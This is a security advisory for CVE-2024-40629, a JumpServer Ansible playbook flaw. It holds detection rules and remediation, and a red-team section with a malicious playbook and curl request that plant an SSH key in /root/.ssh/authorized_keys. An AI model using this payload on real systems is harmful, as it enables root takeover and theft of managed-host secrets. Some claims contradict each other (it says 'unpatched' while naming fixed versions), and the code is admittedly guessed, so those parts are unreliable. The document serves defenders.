CVE-2024-40629

Executive Summary

CVE-2024-40629 is a critical vulnerability in JumpServer, an open-source Privileged Access Management (PAM) tool. The flaw allows an unauthenticated attacker to exploit the Ansible playbook functionality to write arbitrary files, leading to remote code execution (RCE) within the Celery container. Since the Celery container runs as root and has database access, an attacker can steal all secrets for managed hosts, create a new JumpServer account with admin privileges, or manipulate the database in other ways. The CVSS score is 10.0 (Critical), and the vulnerability is currently unpatched in versions prior to 3.10.12 and 4.0.0. No public proof-of-concept (PoC) or exploit code is available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

This vulnerability is extremely severe due to the lack of authentication required, the low complexity of the attack, and the potential for full compromise of the JumpServer instance and all managed assets.

Deep Dive & Mechanics

JumpServer uses Ansible playbooks for automation tasks. The vulnerability lies in the way JumpServer handles user-supplied Ansible playbook content. An attacker can craft a malicious playbook that, when executed by the Celery worker, writes arbitrary files to the filesystem. Because the Celery container runs as root, the attacker can overwrite critical system files, inject malicious code, or create new privileged accounts.

The attack flow is as follows:

1. An attacker sends a crafted request to the JumpServer API, providing a malicious Ansible playbook.
2. The JumpServer backend passes this playbook to the Celery worker for execution.
3. The Celery worker, running as root, executes the playbook, which includes tasks that write arbitrary files (e.g., a new SSH key, a cron job, or a web shell).
4. The attacker can then use the written files to gain persistent access, escalate privileges, or pivot to other systems.

The database access from the Celery container allows the attacker to extract all stored secrets (e.g., SSH keys, passwords) and create a new admin user in JumpServer, effectively taking full control.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the Ansible playbook execution handler. In vulnerable versions, the playbook content is not properly sanitized or restricted, allowing arbitrary file writes. The patched versions (3.10.12 and 4.0.0) likely implement input validation, sandboxing, or privilege dropping for the Celery worker.

Vulnerable Code (Conceptual):

# Vulnerable: Directly executes user-provided playbook without restrictions
def execute_playbook(playbook_content):
    with open('/tmp/playbook.yml', 'w') as f:
        f.write(playbook_content)
    subprocess.run(['ansible-playbook', '/tmp/playbook.yml'])

Patched Code (Conceptual):

# Patched: Validates playbook content and restricts file write operations
def execute_playbook(playbook_content):
    if not is_safe_playbook(playbook_content):
        raise ValueError("Unsafe playbook content")
    with open('/tmp/playbook.yml', 'w') as f:
        f.write(playbook_content)
    # Run with reduced privileges
    subprocess.run(['ansible-playbook', '/tmp/playbook.yml'], user='celery_worker')

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable JumpServer instance (version < 3.10.12 or < 4.0.0)
• Network access to the JumpServer API (typically port 8080)

Exploitation Steps:

1. Identify the JumpServer API endpoint for creating/executing Ansible playbooks (e.g., /api/v1/ops/playbooks/).
2. Craft a malicious Ansible playbook that writes a file to a critical location. For example, to add an SSH key to the root user:

---
- name: Malicious Playbook
  hosts: localhost
  tasks:
    - name: Write SSH key
      copy:
        content: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..."
        dest: /root/.ssh/authorized_keys
        mode: '0600'

3. Send the playbook to the API endpoint. The exact request format depends on the JumpServer version, but typically it is a POST request with JSON body containing the playbook content.
4. Once executed, the attacker can SSH into the Celery container as root using the added key.
5. From the Celery container, connect to the database and extract secrets or create a new admin user.

Example API Request (Conceptual):

curl -X POST https://target-jumpserver/api/v1/ops/playbooks/ \
  -H "Content-Type: application/json" \
  -d '{"name": "malicious", "content": "---\n- name: Malicious Playbook\n  hosts: localhost\n  tasks:\n    - name: Write SSH key\n      copy:\n        content: \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...\"\n        dest: /root/.ssh/authorized_keys\n        mode: '0600'"}'

Blue Team

Detection Steps:

1. Monitor for unusual API requests to playbook-related endpoints, especially from unknown IPs.
2. Look for Ansible playbook content that includes file write operations (e.g., copy, template, lineinfile modules) to sensitive paths like /root/.ssh/, /etc/, /var/spool/cron/.
3. Check for unexpected processes running as root in the Celery container.
4. Monitor database logs for unauthorized queries or creation of new admin users.
5. Review system logs for new SSH keys being added to /root/.ssh/authorized_keys.

Hunting Queries:

• Search for API requests to /api/v1/ops/playbooks/ with unusual payloads.
• Look for Ansible playbook files in /tmp/ that are not part of normal operations.
• Check for new cron jobs or systemd services that were not deployed by authorized administrators.

Indicators of Compromise (IOCs)

• File System:

  • Unexpected files in /root/.ssh/authorized_keys
  • New cron jobs in /var/spool/cron/crontabs/ or /etc/cron.d/
  • Modified system binaries or configuration files in /etc/
  • Ansible playbook files in /tmp/ with suspicious content

• Network:

  • Outbound connections from the Celery container to unknown IPs
  • Unusual API requests to JumpServer endpoints from external IPs

• Database:

  • New user accounts with admin privileges in the JumpServer database
  • Unauthorized queries to the assets or users tables

• Processes:

  • Ansible processes running with root privileges that were not initiated by legitimate users
  • Reverse shells or other malicious processes in the Celery container

Detection Engineering

YARA Rule

rule CVE_2024_40629_JumpServer_Ansible_Exploit {
    meta:
        description = "Detects malicious Ansible playbooks targeting CVE-2024-40629"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-40629"
    strings:
        $playbook_start = "---" ascii
        $copy_module = "copy:" ascii
        $template_module = "template:" ascii
        $lineinfile_module = "lineinfile:" ascii
        $sensitive_path1 = "/root/.ssh/" ascii
        $sensitive_path2 = "/etc/" ascii
        $sensitive_path3 = "/var/spool/cron/" ascii
    condition:
        $playbook_start and ($copy_module or $template_module or $lineinfile_module) and ($sensitive_path1 or $sensitive_path2 or $sensitive_path3)
}

Sigma Rule

title: CVE-2024-40629 JumpServer Ansible Playbook Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-40629 via malicious Ansible playbooks
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: jumpserver
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/ops/playbooks/'
    keywords:
        - 'copy:'
        - 'template:'
        - 'lineinfile:'
        - '/root/.ssh/'
        - '/etc/'
        - '/var/spool/cron/'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative playbooks
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40629 JumpServer Ansible Playbook Exploitation"; flow:to_server; content:"POST"; http_method; content:"/api/v1/ops/playbooks/"; http_uri; content:"copy:"; http_client_body; content:"/root/.ssh/"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade JumpServer to version 3.10.12 or 4.0.0 immediately.
2. If upgrade is not possible, restrict network access to the JumpServer API to trusted IPs only.
3. Implement strict input validation for Ansible playbook content, blocking file write operations to sensitive paths.
4. Run the Celery container with reduced privileges (non-root user) and limit its filesystem write access.

Long-term Measures:

1. Regularly update JumpServer to the latest version.
2. Monitor for new CVEs and apply patches promptly.
3. Implement network segmentation to isolate JumpServer from critical assets.
4. Use a Web Application Firewall (WAF) to filter malicious API requests.
5. Conduct regular security audits and penetration testing.

Workarounds:

• No official workarounds are available. The only safe mitigation is to upgrade.

Valters IT